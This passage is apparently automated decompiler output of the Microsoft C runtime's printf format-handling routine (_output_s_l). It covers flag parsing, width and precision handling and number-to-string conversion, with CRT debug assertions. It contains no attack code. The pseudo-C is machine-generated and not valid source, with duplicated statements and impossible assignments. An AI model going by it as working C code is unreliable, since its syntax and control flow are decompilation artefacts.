																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L18;
																			}
																			goto L65;
																		}
																		L57:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L59;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	}
																	L54:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L56;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L67;
																	}
																case 1:
																	L68:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L70;
																case 2:
																	L49:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L70;
																case 3:
																	L69:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L70;
																case 4:
																	goto L70;
															}
														case 7:
															L71:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x324) = __ecx;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															__eflags =  *(__ebp - 0x324) - 0x37;
															if( *(__ebp - 0x324) > 0x37) {
																while(1) {
																	L190:
																	__eflags =  *(_t701 - 0x28);
																	if( *(_t701 - 0x28) != 0) {
																		goto L216;
																	}
																	goto L191;
																}
															}
															L72:
															_t157 =  *(__ebp - 0x324) + 0x43564c; // 0xcccccc0d
															__ecx =  *_t157 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M00435610))) {
																case 0:
																	L123:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L124;
																case 1:
																	L73:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L75;
																case 2:
																	L88:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L90;
																case 3:
																	L147:
																	 *(__ebp - 0x260) = 7;
																	goto L149;
																case 4:
																	L81:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x288) = E00428370(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x288);
																	if( *(__ebp - 0x288) == 0) {
																		L83:
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																		L87:
																		goto L190;
																	}
																	L82:
																	__ecx =  *(__ebp - 0x288);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L84:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L87;
																	}
																	goto L83;
																case 5:
																	L124:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L126:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L129:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L131:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B8D0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			__ecx =  *(__eax - 8);
																			__edx =  *(__eax - 4);
																			 *(__ebp - 0x2a8) =  *(__eax - 8);
																			 *(__ebp - 0x2a4) =  *(__eax - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041AE60(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a8;
																			_push(__ebp - 0x2a8);
																			__eax =  *0x440374; // 0xf86dff92
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE60(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0xa86dfc78
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE60(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0x886dfc7f
																					E004246D0(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																			do {
																				L190:
																				__eflags =  *(_t701 - 0x28);
																				if( *(_t701 - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			} while ( *(__ebp - 0x324) > 0x37);
																			goto L72;
																		}
																		L127:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L129;
																		}
																		L128:
																		 *(__ebp - 0x30) = 1;
																		goto L131;
																	}
																	L125:
																	 *(__ebp - 0x30) = 6;
																	goto L131;
																case 6:
																	L75:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		__ebp + 0x14 = E00428370(__ebp + 0x14);
																		 *(__ebp - 0x284) = __ax;
																		__cl =  *(__ebp - 0x284);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																	} else {
																		 *(__ebp - 0x280) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E004283B0(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x280) = E00434240(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x280);
																		if( *(__ebp - 0x280) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																case 7:
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L153:
																	__eflags =  *(_t701 - 0x10) & 0x00008000;
																	if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																		_t649 =  *(_t701 - 0x10) & 0x00001000;
																		__eflags = _t649;
																		if(_t649 == 0) {
																			__eflags =  *(_t701 - 0x10) & 0x00000020;
																			if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																				_t651 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t651;
																				if(_t651 == 0) {
																					_t496 = E00428370(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					__eflags = 0;
																					 *(_t701 - 0x2b8) = _t496;
																					 *(_t701 - 0x2b4) = 0;
																				} else {
																					_t580 = E00428370(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t580;
																					 *(_t701 - 0x2b4) = _t651;
																				}
																			} else {
																				_t698 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t698;
																				if(_t698 == 0) {
																					_t581 = E00428370(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																					 *(_t701 - 0x2b4) = _t698;
																				} else {
																					_t584 = E00428370(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t584;
																					 *(_t701 - 0x2b4) = _t698;
																				}
																			}
																		} else {
																			_t587 = E00428390(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t587;
																			 *(_t701 - 0x2b4) = _t649;
																		}
																	} else {
																		_t588 = E00428390(_t701 + 0x14);
																		_t703 = _t703 + 4;
																		 *(_t701 - 0x2b8) = _t588;
																		 *(_t701 - 0x2b4) = _t647;
																	}
																	__eflags =  *(_t701 - 0x10) & 0x00000040;
																	if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																		goto L170;
																	}
																case 8:
																	L109:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x298) = E00428370(__ebp + 0x14);
																	__eax = E00433F20();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L119:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x298);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x298);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L110:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x32c) = 0;
																	} else {
																		 *(__ebp - 0x32c) = 1;
																	}
																	__eax =  *(__ebp - 0x32c);
																	 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E390();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) != 0) {
																		L118:
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	} else {
																		L117:
																		 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
																		__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2f8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AE30(__ecx);
																		__eax =  *(__ebp - 0x2f8);
																		goto L229;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L146:
																	 *(__ebp - 0x30) = 8;
																	goto L147;
																case 0xb:
																	L90:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x328) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x328) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x328);
																	 *(__ebp - 0x290) =  *(__ebp - 0x328);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00428370(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L101:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x28c) =  *(__ebp - 4);
																		while(1) {
																			L104:
																			__ecx =  *(__ebp - 0x290);
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L105:
																			__eax =  *(__ebp - 0x28c);
																			__ecx =  *( *(__ebp - 0x28c));
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L106:
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																		}
																		L107:
																		__eax =  *(__ebp - 0x28c);
																		__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																		__eflags = __eax;
																		 *(__ebp - 0x24) = __eax;
																		goto L108;
																	} else {
																		L94:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f84; // 0x404438
																			 *(__ebp - 4) = __eax;
																		}
																		 *(__ebp - 0xc) = 1;
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x294) =  *(__ebp - 4);
																		while(1) {
																			L97:
																			__edx =  *(__ebp - 0x290);
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			__eflags =  *(__ebp - 0x290);
																			if( *(__ebp - 0x290) == 0) {
																				break;
																			}
																			L98:
																			__ecx =  *(__ebp - 0x294);
																			__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L99:
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																		}
																		L100:
																		 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																		__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																		 *(__ebp - 0x24) = __ecx;
																		L108:
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																case 0xc:
																	L145:
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	while(1) {
																		L153:
																		__eflags =  *(_t701 - 0x10) & 0x00008000;
																		if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																			_t649 =  *(_t701 - 0x10) & 0x00001000;
																			__eflags = _t649;
																			if(_t649 == 0) {
																				__eflags =  *(_t701 - 0x10) & 0x00000020;
																				if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																					_t651 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t651;
																					if(_t651 == 0) {
																						_t496 = E00428370(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						__eflags = 0;
																						 *(_t701 - 0x2b8) = _t496;
																						 *(_t701 - 0x2b4) = 0;
																					} else {
																						_t580 = E00428370(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t580;
																						 *(_t701 - 0x2b4) = _t651;
																					}
																				} else {
																					_t698 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t698;
																					if(_t698 == 0) {
																						_t581 = E00428370(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																						 *(_t701 - 0x2b4) = _t698;
																					} else {
																						_t584 = E00428370(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t584;
																						 *(_t701 - 0x2b4) = _t698;
																					}
																				}
																			} else {
																				_t587 = E00428390(_t701 + 0x14);
																				_t703 = _t703 + 4;
																				 *(_t701 - 0x2b8) = _t587;
																				 *(_t701 - 0x2b4) = _t649;
																			}
																		} else {
																			_t588 = E00428390(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t588;
																			 *(_t701 - 0x2b4) = _t647;
																		}
																		__eflags =  *(_t701 - 0x10) & 0x00000040;
																		if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																		goto L166;
																	}
																case 0xd:
																	L148:
																	 *(__ebp - 0x260) = 0x27;
																	L149:
																	 *((intOrPtr*)(__ebp - 8)) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		 *((char*)(__ebp - 0x14)) = 0x30;
																		 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																		__eflags =  *(__ebp - 0x260) + 0x51;
																		 *((char*)(__ebp - 0x13)) = __al;
																		 *(__ebp - 0x1c) = 2;
																	}
																	while(1) {
																		L153:
																		__eflags =  *(_t701 - 0x10) & 0x00008000;
																		if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																			_t649 =  *(_t701 - 0x10) & 0x00001000;
																			__eflags = _t649;
																			if(_t649 == 0) {
																				__eflags =  *(_t701 - 0x10) & 0x00000020;
																				if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																					_t651 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t651;
																					if(_t651 == 0) {
																						_t496 = E00428370(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						__eflags = 0;
																						 *(_t701 - 0x2b8) = _t496;
																						 *(_t701 - 0x2b4) = 0;
																					} else {
																						_t580 = E00428370(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t580;
																						 *(_t701 - 0x2b4) = _t651;
																					}
																				} else {
																					_t698 =  *(_t701 - 0x10) & 0x00000040;
																					__eflags = _t698;
																					if(_t698 == 0) {
																						_t581 = E00428370(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																						 *(_t701 - 0x2b4) = _t698;
																					} else {
																						_t584 = E00428370(_t701 + 0x14);
																						_t703 = _t703 + 4;
																						asm("cdq");
																						 *(_t701 - 0x2b8) = _t584;
																						 *(_t701 - 0x2b4) = _t698;
																					}
																				}
																			} else {
																				_t587 = E00428390(_t701 + 0x14);
																				_t703 = _t703 + 4;
																				 *(_t701 - 0x2b8) = _t587;
																				 *(_t701 - 0x2b4) = _t649;
																			}
																		} else {
																			_t588 = E00428390(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t588;
																			 *(_t701 - 0x2b4) = _t647;
																		}
																		__eflags =  *(_t701 - 0x10) & 0x00000040;
																		if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																		goto L166;
																	}
																case 0xe:
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
															}
														case 8:
															L30:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															goto L33;
														case 9:
															L31:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L33;
														case 0xa:
															L29:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) = __ecx;
															goto L33;
														case 0xb:
															L28:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L33;
														case 0xc:
															L32:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __ecx;
															 *(__ebp - 0x10) = __ecx;
															goto L33;
														case 0xd:
															L33:
															goto L218;
													}
												} else {
													if(0 == 0) {
														 *(_t701 - 0x314) = 0;
													} else {
														 *(_t701 - 0x314) = 1;
													}
													_t618 =  *(_t701 - 0x314);
													 *(_t701 - 0x278) =  *(_t701 - 0x314);
													if( *(_t701 - 0x278) == 0) {
														_push(L"(\"Incorrect format specifier\", 0)");
														_push(0);
														_push(0x460);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t545 = L0041E390();
														_t703 = _t703 + 0x14;
														if(_t545 == 1) {
															asm("int3");
														}
													}
													L14:
													if( *(_t701 - 0x278) != 0) {
														goto L16;
													} else {
														 *((intOrPtr*)(L00422E80(_t618))) = 0x16;
														E00422C10(_t589, _t618, _t699, _t700, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
														 *(_t701 - 0x2f0) = 0xffffffff;
														E0041AE30(_t701 - 0x40);
														_t518 =  *(_t701 - 0x2f0);
														L229:
														return E0042BCD0(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
													}
												}
											}
											L219:
											__eflags =  *(_t701 - 0x25c);
											if( *(_t701 - 0x25c) == 0) {
												L222:
												 *(_t701 - 0x334) = 1;
												L223:
												_t605 =  *(_t701 - 0x334);
												 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
												__eflags =  *(_t701 - 0x2e0);
												if( *(_t701 - 0x2e0) == 0) {
													_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
													_push(0);
													_push(0x8f5);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t523 = L0041E390();
													_t703 = _t703 + 0x14;
													__eflags = _t523 - 1;
													if(_t523 == 1) {
														asm("int3");
													}
												}
												__eflags =  *(_t701 - 0x2e0);
												if( *(_t701 - 0x2e0) != 0) {
													 *(_t701 - 0x300) =  *(_t701 - 0x24c);
													E0041AE30(_t701 - 0x40);
													_t518 =  *(_t701 - 0x300);
												} else {
													 *((intOrPtr*)(L00422E80(_t605))) = 0x16;
													E00422C10(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
													 *(_t701 - 0x2fc) = 0xffffffff;
													E0041AE30(_t701 - 0x40);
													_t518 =  *(_t701 - 0x2fc);
												}
												goto L229;
											}
											L220:
											__eflags =  *(_t701 - 0x25c) - 7;
											if( *(_t701 - 0x25c) == 7) {
												goto L222;
											}
											L221:
											 *(_t701 - 0x334) = 0;
											goto L223;
										}
									}
									L187:
									__eflags =  *(_t701 - 0x24);
									if( *(_t701 - 0x24) == 0) {
										L189:
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
										_t639 =  *(_t701 - 0x24) + 1;
										__eflags = _t639;
										 *(_t701 - 0x24) = _t639;
										goto L190;
									}
									L188:
									__eflags =  *((char*)( *((intOrPtr*)(_t701 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t701 - 4)))) == 0x30) {
										goto L190;
									}
									goto L189;
								}
								L183:
								asm("cdq");
								_t658 =  *(_t701 - 0x2c0);
								 *(_t701 - 0x2ac) = E004307A0(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
								asm("cdq");
								 *(_t701 - 0x2c0) = E00430820( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
								 *(_t701 - 0x2bc) = _t658;
								__eflags =  *(_t701 - 0x2ac) - 0x39;
								if( *(_t701 - 0x2ac) > 0x39) {
									_t662 =  *(_t701 - 0x2ac) +  *((intOrPtr*)(_t701 - 0x260));
									__eflags = _t662;
									 *(_t701 - 0x2ac) = _t662;
								}
								 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *(_t701 - 0x2ac);
								 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
